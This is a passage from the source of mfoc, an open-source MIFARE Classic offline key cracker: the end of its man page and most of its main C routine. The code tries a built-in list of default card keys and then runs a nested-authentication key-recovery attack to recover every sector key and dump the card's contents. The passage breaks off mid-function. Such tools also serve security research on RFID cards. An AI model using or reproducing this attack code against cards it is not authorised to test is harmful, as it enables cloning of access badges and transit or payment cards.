29 | Dump card contents to FILE. 30 | .TP 31 | \fB\-P\fP \fINUM\fR 32 | Probe each sector up to NUM times. Default is 20. 33 | .TP 34 | \fB\-T\fP \fINUM\fR 35 | Set half the range for a possible distance tolerance to NUM. Default is 20 (for a total range of 40). 36 | .SH AUTHOR 37 | .B mfoc 38 | was written by Norbert Szetei and Pavol Luptak with contributions by others. 39 | .PP 40 | This manual page was written by Thomas Hood . 41 | MIFARE is a trade mark of NXP bv, Netherlands. 42 | -------------------------------------------------------------------------------- /src/mfoc.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Mifare Classic Offline Cracker 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of the GNU General Public License 6 | * as published by the Free Software Foundation; either version 2 7 | * of the License, or (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program; if not, write to the Free Software 16 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | * 18 | * Contact: 19 | * 20 | * Porting to libnfc 1.3.3: Michal Boska 21 | * Porting to libnfc 1.3.9 and upper: Romuald Conty 22 | * 23 | */ 24 | 25 | /* 26 | * This implementation was written based on information provided by the 27 | * following documents: 28 | * 29 | * http://eprint.iacr.org/2009/137.pdf 30 | * http://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf 31 | * http://www.cosic.esat.kuleuven.be/rfidsec09/Papers/mifare_courtois_rfidsec09.pdf 32 | * http://www.cs.ru.nl/~petervr/papers/grvw_2009_pickpocket.pdf 33 | */ 34 | 35 | #define _XOPEN_SOURCE 1 // To enable getopt 36 | 37 | #include 38 | #include 39 | #include 40 | 41 | #include 42 | 43 | // NFC 44 | #include 45 | 46 | // Crapto1 47 | #include "crapto1.h" 48 | 49 | // Internal 50 | #include "config.h" 51 | #include "mifare.h" 52 | #include "nfc-utils.h" 53 | #include "mfoc.h" 54 | 55 | //SLRE 56 | #include "slre.h" 57 | #include "slre.c" 58 | 59 | #define MAX_FRAME_LEN 264 60 | 61 | static const nfc_modulation nm = { 62 | .nmt = NMT_ISO14443A, 63 | .nbr = NBR_106, 64 | }; 65 | 66 | nfc_context *context; 67 | 68 | uint64_t knownKey = 0; 69 | char knownKeyLetter = 'A'; 70 | uint32_t knownSector = 0; 71 | uint32_t unknownSector = 0; 72 | char unknownKeyLetter = 'A'; 73 | uint32_t unexpected_random = 0; 74 | 75 | int main(int argc, char *const argv[]) 76 | { 77 | int ch, i, k, n, j, m; 78 | int key, block; 79 | int succeed = 1; 80 | 81 | // Exploit sector 82 | int e_sector; 83 | int probes = DEFAULT_PROBES_NR; 84 | int sets = DEFAULT_SETS_NR; 85 | 86 | // By default, dump 'A' keys 87 | int dumpKeysA = true; 88 | bool failure = false; 89 | bool skip = false; 90 | 91 | // Next default key specified as option (-k) 92 | uint8_t *defKeys = NULL, *p; 93 | size_t defKeys_len = 0; 94 | 95 | // Array with default Mifare Classic keys 96 | uint8_t defaultKeys[][6] = { 97 | {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key) 98 | {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key 99 | {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key 100 | {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Blank key 101 | {0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5}, 102 | {0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd}, 103 | {0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a}, 104 | {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff}, 105 | {0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97}, 106 | {0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f}, 107 | {0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91}, 108 | {0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6}, 109 | {0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9} 110 | 111 | }; 112 | 113 | mftag t; 114 | mfreader r; 115 | denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}}; 116 | 117 | // Pointers to possible keys 118 | pKeys *pk; 119 | countKeys *ck; 120 | 121 | // Pointer to already broken keys, except defaults 122 | bKeys *bk; 123 | 124 | static mifare_param mp, mtmp; 125 | static mifare_classic_tag mtDump; 126 | 127 | mifare_cmd mc; 128 | FILE *pfDump = NULL; 129 | FILE *pfKey = NULL; 130 | 131 | //File pointers for the keyfile 132 | FILE * fp; 133 | char line[20]; 134 | size_t len = 0; 135 | char * read; 136 | 137 | //Regexp declarations 138 | static const char *regex = "([0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f])"; 139 | struct slre_cap caps[2]; 140 | 141 | // Parse command line arguments 142 | while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:f:")) != -1) { 143 | switch (ch) { 144 | case 'P': 145 | // Number of probes 146 | if (!(probes = atoi(optarg)) || probes < 1) { 147 | ERR("The number of probes must be a positive number"); 148 | exit(EXIT_FAILURE); 149 | } 150 | // fprintf(stdout, "Number of probes: %d\n", probes); 151 | break; 152 | case 'T': { 153 | int res; 154 | // Nonce tolerance range 155 | if (((res = atoi(optarg)) < 0)) { 156 | ERR("The nonce distances range must be a zero or a positive number"); 157 | exit(EXIT_FAILURE); 158 | } 159 | d.tolerance = (uint32_t)res; 160 | // fprintf(stdout, "Tolerance number: %d\n", probes); 161 | } 162 | break; 163 | case 'f': 164 | if (!(fp = fopen(optarg, "r"))) { 165 | fprintf(stderr, "Cannot open keyfile: %s, exiting\n", optarg); 166 | exit(EXIT_FAILURE); 167 | } 168 | while ((read = fgets(line, sizeof(line), fp)) != NULL) { 169 | int i, j = 0, str_len = strlen(line); 170 | while (j < str_len && 171 | (i = slre_match(regex, line + j, str_len - j, caps, 500, 1)) > 0) { 172 | //We've found a key, let's add it to the structure. 173 | p = realloc(defKeys, defKeys_len + 6); 174 | if (!p) { 175 | ERR("Cannot allocate memory for defKeys"); 176 | exit(EXIT_FAILURE); 177 | } 178 | defKeys = p; 179 | memset(defKeys + defKeys_len, 0, 6); 180 | num_to_bytes(strtoll(caps[0].ptr, NULL, 16), 6, defKeys + defKeys_len); 181 | fprintf(stdout, "The custom key 0x%.*s has been added to the default keys\n", caps[0].len, caps[0].ptr); 182 | defKeys_len = defKeys_len + 6; 183 | 184 | j += i; 185 | } 186 | } 187 | break; 188 | case 'k': 189 | // Add this key to the default keys 190 | p = realloc(defKeys, defKeys_len + 6); 191 | if (!p) { 192 | ERR("Cannot allocate memory for defKeys"); 193 | exit(EXIT_FAILURE); 194 | } 195 | defKeys = p; 196 | memset(defKeys + defKeys_len, 0, 6); 197 | num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys + defKeys_len); 198 | fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys + defKeys_len, 6)); 199 | defKeys_len = defKeys_len + 6; 200 | 201 | break; 202 | case 'O': 203 | // File output 204 | if (!(pfDump = fopen(optarg, "wb"))) { 205 | fprintf(stderr, "Cannot open: %s, exiting\n", optarg); 206 | exit(EXIT_FAILURE); 207 | } 208 | // fprintf(stdout, "Output file: %s\n", optarg); 209 | break; 210 | case 'D': 211 | // Partial File output 212 | if (!(pfKey = fopen(optarg, "w"))) { 213 | fprintf(stderr, "Cannot open: %s, exiting\n", optarg); 214 | exit(EXIT_FAILURE); 215 | } 216 | // fprintf(stdout, "Output file: %s\n", optarg); 217 | break; 218 | case 'h': 219 | usage(stdout, 0); 220 | break; 221 | default: 222 | usage(stderr, 1); 223 | break; 224 | } 225 | } 226 | 227 | if (!pfDump) { 228 | ERR("parameter -O is mandatory"); 229 | exit(EXIT_FAILURE); 230 | } 231 | 232 | // Initialize reader/tag structures 233 | mf_init(&r); 234 | 235 | if (nfc_initiator_init(r.pdi) < 0) { 236 | nfc_perror(r.pdi, "nfc_initiator_init"); 237 | goto error; 238 | } 239 | // Drop the field for a while, so can be reset 240 | if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, true) < 0) { 241 | nfc_perror(r.pdi, "nfc_device_set_property_bool activate field"); 242 | goto error; 243 | } 244 | // Let the reader only try once to find a tag 245 | if (nfc_device_set_property_bool(r.pdi, NP_INFINITE_SELECT, false) < 0) { 246 | nfc_perror(r.pdi, "nfc_device_set_property_bool infinite select"); 247 | goto error; 248 | } 249 | // Configure the CRC and Parity settings 250 | if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) { 251 | nfc_perror(r.pdi, "nfc_device_set_property_bool crc"); 252 | goto error; 253 | } 254 | if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) { 255 | nfc_perror(r.pdi, "nfc_device_set_property_bool parity"); 256 | goto error; 257 | } 258 | 259 | /* 260 | // wait for tag to appear 261 | for (i=0;!nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) && i < 10; i++) zsleep (100); 262 | */ 263 | 264 | int tag_count; 265 | if ((tag_count = nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt)) < 0) { 266 | nfc_perror(r.pdi, "nfc_initiator_select_passive_target"); 267 | goto error; 268 | } else if (tag_count == 0) { 269 | ERR("No tag found."); 270 | goto error; 271 | } 272 | 273 | // Test if a compatible MIFARE tag is used 274 | if (((t.nt.nti.nai.btSak & 0x08) == 0) && (t.nt.nti.nai.btSak != 0x01)) { 275 | ERR("only Mifare Classic is supported"); 276 | goto error; 277 | } 278 | 279 | t.authuid = (uint32_t) bytes_to_num(t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, 4); 280 | 281 | // Get Mifare Classic type from SAK 282 | // see http://www.nxp.com/documents/application_note/AN10833.pdf Section 3.2 283 | switch (t.nt.nti.nai.btSak) 284 | { 285 | case 0x01: 286 | case 0x08: 287 | case 0x88: 288 | if (get_rats_is_2k(t, r)) { 289 | printf("Found Mifare Plus 2k tag\n"); 290 | t.num_sectors = NR_TRAILERS_2k; 291 | t.num_blocks = NR_BLOCKS_2k; 292 | } else { 293 | printf("Found Mifare Classic 1k tag\n"); 294 | t.num_sectors = NR_TRAILERS_1k; 295 | t.num_blocks = NR_BLOCKS_1k; 296 | } 297 | break; 298 | case 0x09: 299 | printf("Found Mifare Classic Mini tag\n"); 300 | t.num_sectors = NR_TRAILERS_MINI; 301 | t.num_blocks = NR_BLOCKS_MINI; 302 | break; 303 | case 0x18: 304 | printf("Found Mifare Classic 4k tag\n"); 305 | t.num_sectors = NR_TRAILERS_4k; 306 | t.num_blocks = NR_BLOCKS_4k; 307 | break; 308 | default: 309 | ERR("Cannot determine card type from SAK"); 310 | goto error; 311 | } 312 | 313 | t.sectors = (void *) calloc(t.num_sectors, sizeof(sector)); 314 | if (t.sectors == NULL) { 315 | ERR("Cannot allocate memory for t.sectors"); 316 | goto error; 317 | } 318 | if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) { 319 | ERR("Cannot allocate memory for pk"); 320 | goto error; 321 | } 322 | if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) { 323 | ERR("Cannot allocate memory for bk"); 324 | goto error; 325 | } else { 326 | bk->brokenKeys = NULL; 327 | bk->size = 0; 328 | } 329 | 330 | d.distances = (void *) calloc(d.num_distances, sizeof(uint32_t)); 331 | if (d.distances == NULL) { 332 | ERR("Cannot allocate memory for t.distances"); 333 | goto error; 334 | } 335 | 336 | // Initialize t.sectors, keys are not known yet 337 | for (uint8_t s = 0; s < (t.num_sectors); ++s) { 338 | t.sectors[s].foundKeyA = t.sectors[s].foundKeyB = false; 339 | } 340 | 341 | print_nfc_target(&t.nt, true); 342 | 343 | fprintf(stdout, "\nTry to authenticate to all sectors with default keys...\n"); 344 | fprintf(stdout, "Symbols: '.' no key found, '/' A key found, '\\' B key found, 'x' both keys found\n"); 345 | // Set the authentication information (uid) 346 | memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); 347 | // Iterate over all keys (n = number of keys) 348 | n = sizeof(defaultKeys) / sizeof(defaultKeys[0]); 349 | size_t defKey_bytes_todo = defKeys_len; 350 | key = 0; 351 | while (key < n || defKey_bytes_todo) { 352 | if (defKey_bytes_todo > 0) { 353 | memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey)); 354 | defKey_bytes_todo -= sizeof(mp.mpa.abtKey); 355 | } else { 356 | memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey)); 357 | key++; 358 | } 359 | fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6)); 360 | fprintf(stdout, "["); 361 | i = 0; // Sector counter 362 | // Iterate over every block, where we haven't found a key yet 363 | for (block = 0; block <= t.num_blocks; ++block) { 364 | if (trailer_block(block)) { 365 | if (!t.sectors[i].foundKeyA) { 366 | mc = MC_AUTH_A; 367 | int res; 368 | if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) < 0) { 369 | if (res != NFC_EMFCAUTHFAIL) { 370 | nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); 371 | goto error; 372 | } 373 | mf_anticollision(t, r); 374 | } else { 375 | // Save all information about successfull keyA authentization 376 | memcpy(t.sectors[i].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); 377 | t.sectors[i].foundKeyA = true; 378 | // Although KeyA can never be directly read from the data sector, KeyB can, so 379 | // if we need KeyB for this sector, it should be revealed by a data read with KeyA 380 | // todo - check for duplicates in cracked key list (do we care? will not be huge overhead) 381 | // todo - make code more modular! :) 382 | if (!t.sectors[i].foundKeyB) { 383 | if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mtmp)) >= 0) { 384 | // print only for debugging as it messes up output! 385 | //fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); 386 | memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); 387 | memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); 388 | if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mtmp)) < 0) { 389 | //fprintf(stdout, "Failed!\n"); 390 | mf_configure(r.pdi); 391 | mf_anticollision(t, r); 392 | } else { 393 | //fprintf(stdout, "OK\n"); 394 | memcpy(t.sectors[i].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[i].KeyB)); 395 | t.sectors[i].foundKeyB = true; 396 | bk->size++; 397 | bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); 398 | bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); 399 | } 400 | } else { 401 | if (res != NFC_ERFTRANS) { 402 | nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); 403 | goto error; 404 | } 405 | mf_anticollision(t, r); 406 | } 407 | } 408 | } 409 | } 410 | // if key reveal failed, try other keys 411 | if (!t.sectors[i].foundKeyB) { 412 | mc = MC_AUTH_B; 413 | int res; 414 | if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) < 0) { 415 | if (res != NFC_EMFCAUTHFAIL) { 416 | nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); 417 | goto error; 418 | } 419 | mf_anticollision(t, r); 420 | // No success, try next block 421 | t.sectors[i].trailer = block; 422 | } else { 423 | memcpy(t.sectors[i].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); 424 | t.sectors[i].foundKeyB = true; 425 | } 426 | } 427 | if ((t.sectors[i].foundKeyA) && (t.sectors[i].foundKeyB)) { 428 | fprintf(stdout, "x"); 429 | } else if (t.sectors[i].foundKeyA) { 430 | fprintf(stdout, "/"); 431 | } else if (t.sectors[i].foundKeyB) { 432 | fprintf(stdout, "\\"); 433 | } else { 434 | fprintf(stdout, "."); 435 | } 436 | fflush(stdout); 437 | // Save position of a trailer block to sector struct 438 | t.sectors[i++].trailer = block; 439 | } 440 | } 441 | fprintf(stdout, "]\n"); 442 | } 443 | 444 | fprintf(stdout, "\n"); 445 | for (i = 0; i < (t.num_sectors); ++i) { 446 | if(t.sectors[i].foundKeyA){ 447 | fprintf(stdout, "Sector %02d - Found Key A: %012llx ", i, bytes_to_num(t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA))); 448 | memcpy(&knownKey, t.sectors[i].KeyA, 6); 449 | knownKeyLetter = 'A'; 450 | knownSector = i; 451 | } 452 | else{ 453 | fprintf(stdout, "Sector %02d - Unknown Key A ", i); 454 | unknownSector = i; 455 | unknownKeyLetter = 'A'; 456 | } 457 | if(t.sectors[i].foundKeyB){ 458 | fprintf(stdout, "Found Key B: %012llx\n", bytes_to_num(t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB))); 459 | knownKeyLetter = 'B'; 460 | memcpy(&knownKey, t.sectors[i].KeyB, 6); 461 | knownSector = i; 462 | } 463 | else{ 464 | fprintf(stdout, "Unknown Key B\n"); 465 | unknownSector = i; 466 | unknownKeyLetter = 'B'; 467 | } 468 | } 469 | fflush(stdout); 470 | 471 | // Return the first (exploit) sector encrypted with the default key or -1 (we have all keys) 472 | e_sector = find_exploit_sector(t); 473 | //mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode 474 | 475 | // Recover key from encrypted sectors, j is a sector counter 476 | for (m = 0; m < 2; ++m) { 477 | if (e_sector == -1) break; // All keys are default, I am skipping recovery mode 478 | for (j = 0; j < (t.num_sectors); ++j) { 479 | memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); 480 | if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { 481 | 482 | // First, try already broken keys 483 | skip = false; 484 | for (uint32_t o = 0; o < bk->size; o++) { 485 | num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey); 486 | mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; 487 | int res; 488 | if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) { 489 | if (res != NFC_EMFCAUTHFAIL) { 490 | nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); 491 | goto error; 492 | } 493 | mf_anticollision(t, r); 494 | } else { 495 | // Save all information about successfull authentization 496 | printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B')); 497 | if (dumpKeysA) { 498 | memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); 499 | t.sectors[j].foundKeyA = true; 500 | // if we need KeyB for this sector it should be revealed by a data read with KeyA 501 | if (!t.sectors[j].foundKeyB) { 502 | if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) { 503 | fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); 504 | memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); 505 | memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); 506 | if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) { 507 | fprintf(stdout, "Failed!\n"); 508 | mf_configure(r.pdi); 509 | mf_anticollision(t, r); 510 | } else { 511 | fprintf(stdout, "OK\n"); 512 | memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB)); 513 | t.sectors[j].foundKeyB = true; 514 | bk->size++; 515 | bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); 516 | bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); 517 | } 518 | } else { 519 | if (res != NFC_ERFTRANS) { 520 | nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); 521 | goto error; 522 | } 523 | mf_anticollision(t, r); 524 | } 525 | } 526 | } else { 527 | memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); 528 | t.sectors[j].foundKeyB = true; 529 | } 530 | fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), 531 | bytes_to_num(mp.mpa.abtKey, 6)); 532 | mf_configure(r.pdi); 533 | mf_anticollision(t, r); 534 | skip = true; 535 | break; 536 | } 537 | } 538 | if (skip) continue; // We have already revealed key, go to the next iteration 539 | 540 | // Max probes for auth for each sector 541 | for (k = 0; k < probes; ++k) { 542 | // Try to authenticate to exploit sector and determine distances (filling denonce.distances) 543 | int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode 544 | if(authresult == -99999){ 545 | //for now we return the last sector that is unknown 546 | nfc_close(r.pdi); 547 | nfc_exit(context); 548 | if(pfKey) { 549 | fprintf(pfKey, "%012llx;%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter); 550 | fclose(pfKey); 551 | } 552 | return 9; 553 | } 554 | 555 | printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median); 556 | // Configure device to the previous state 557 | mf_configure(r.pdi); 558 | mf_anticollision(t, r); 559 | 560 | pk->possibleKeys = NULL; 561 | pk->size = 0; 562 | // We have 'sets' * 32b keystream of potential keys 563 | for (n = 0; n < sets; n++) { 564 | // AUTH + Recovery key mode (for a_sector), repeat 5 times 565 | mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA); 566 | mf_configure(r.pdi); 567 | mf_anticollision(t, r); 568 | fprintf(stdout, "."); 569 | fflush(stdout); 570 | } 571 | fprintf(stdout, "\n"); 572 | // Get first 15 grouped keys 573 | ck = uniqsort(pk->possibleKeys, pk->size); 574 | for (i = 0; i < TRY_KEYS ; i++) { 575 | // We don't known this key, try to break it 576 | // This key can be found here two or more times 577 | if (ck[i].count > 0) { 578 | // fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key); 579 | // Set required authetication method 580 | num_to_bytes(ck[i].key, 6, mp.mpa.abtKey); 581 | mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; 582 | int res; 583 | if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) { 584 | if (res != NFC_EMFCAUTHFAIL) { 585 | nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); 586 | goto error; 587 | } 588 | mf_anticollision(t, r); 589 | } else { 590 | // Save all information about successfull authentization 591 | bk->size++; 592 | bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); 593 | bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); 594 | if (dumpKeysA) { 595 | memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); 596 | t.sectors[j].foundKeyA = true; 597 | 598 | } else { 599 | memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); 600 | t.sectors[j].foundKeyB = true; 601 | } 602 | fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), 603 | bytes_to_num(mp.mpa.abtKey, 6)); 604 | // if we need KeyB for this sector, it should be revealed by a data read with KeyA 605 | if (!t.sectors[j].foundKeyB) { 606 | if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) { 607 | fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); 608 | memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); 609 | memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); 610 | if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) { 611 | fprintf(stdout, "Failed!\n"); 612 | mf_configure(r.pdi); 613 | mf_anticollision(t, r); 614 | } else { 615 | fprintf(stdout, "OK\n"); 616 | memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB)); 617 | t.sectors[j].foundKeyB = true; 618 | bk->size++; 619 | bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); 620 | bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); 621 | } 622 | } else { 623 | if (res != NFC_ERFTRANS) { 624 | nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); 625 | goto error; 626 | } 627 | mf_anticollision(t, r); 628 | } 629 | } 630 | mf_configure(r.pdi); 631 | mf_anticollision(t, r); 632 | break; 633 | } 634 | } 635 | } 636 | free(pk->possibleKeys); 637 | free(ck); 638 | // Success, try the next sector 639 | if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break; 640 | } 641 | // We haven't found any key, exiting 642 | if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { 643 | ERR("No success, maybe you should increase the probes"); 644 | goto error; 645 | } 646 | } 647 | } 648 | dumpKeysA = false; 649 | } 650 | 651 | 652 | for (i = 0; i < (t.num_sectors); ++i) { 653 | if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) { 654 | fprintf(stdout, "\nTry again, there are still some encrypted blocks\n"); 655 | succeed = 0; 656 | break; 657 | } 658 | } 659 | 660 | if (succeed) { 661 | i = t.num_sectors; // Sector counter 662 | fprintf(stdout, "Auth with all sectors succeeded, dumping keys to a file!\n"); 663 | // Read all blocks 664 | for (block = t.num_blocks; block >= 0; block--) { 665 | trailer_block(block) ? i-- : i; 666 | failure = true; 667 | 668 | // Try A key, auth() + read() 669 | memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA)); 670 | int res; 671 | if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) < 0) { 672 | if (res != NFC_EMFCAUTHFAIL) { 673 | nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); 674 | goto error; 675 | } 676 | mf_configure(r.pdi); 677 | mf_anticollision(t, r); 678 | } else { // and Read 679 | if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) >= 0) { 680 | fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'A', bytes_to_num(t.sectors[i].KeyA, 6)); 681 | print_hex(mp.mpd.abtData, 16); 682 | mf_configure(r.pdi); 683 | mf_select_tag(r.pdi, &(t.nt)); 684 | failure = false; 685 | } else { 686 | // Error, now try read() with B key 687 | if (res != NFC_ERFTRANS) { 688 | nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); 689 | goto error; 690 | } 691 | mf_configure(r.pdi); 692 | mf_anticollision(t, r); 693 | memcpy(mp.mpa.abtKey, t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB)); 694 | if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mp)) < 0) { 695 | if (res != NFC_EMFCAUTHFAIL) { 696 | nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); 697 | goto error; 698 | } 699 | mf_configure(r.pdi); 700 | mf_anticollision(t, r); 701 | } else { // and Read 702 | if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) >= 0) { 703 | fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6)); 704 | print_hex(mp.mpd.abtData, 16); 705 | mf_configure(r.pdi); 706 | mf_select_tag(r.pdi, &(t.nt)); 707 | failure = false; 708 | } else { 709 | if (res != NFC_ERFTRANS) { 710 | nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); 711 | goto error; 712 | } 713 | mf_configure(r.pdi); 714 | mf_anticollision(t, r); 715 | // ERR ("Error: Read B"); 716 | } 717 | } 718 | } 719 | } 720 | if (trailer_block(block)) { 721 | // Copy the keys over from our key dump and store the retrieved access bits 722 | 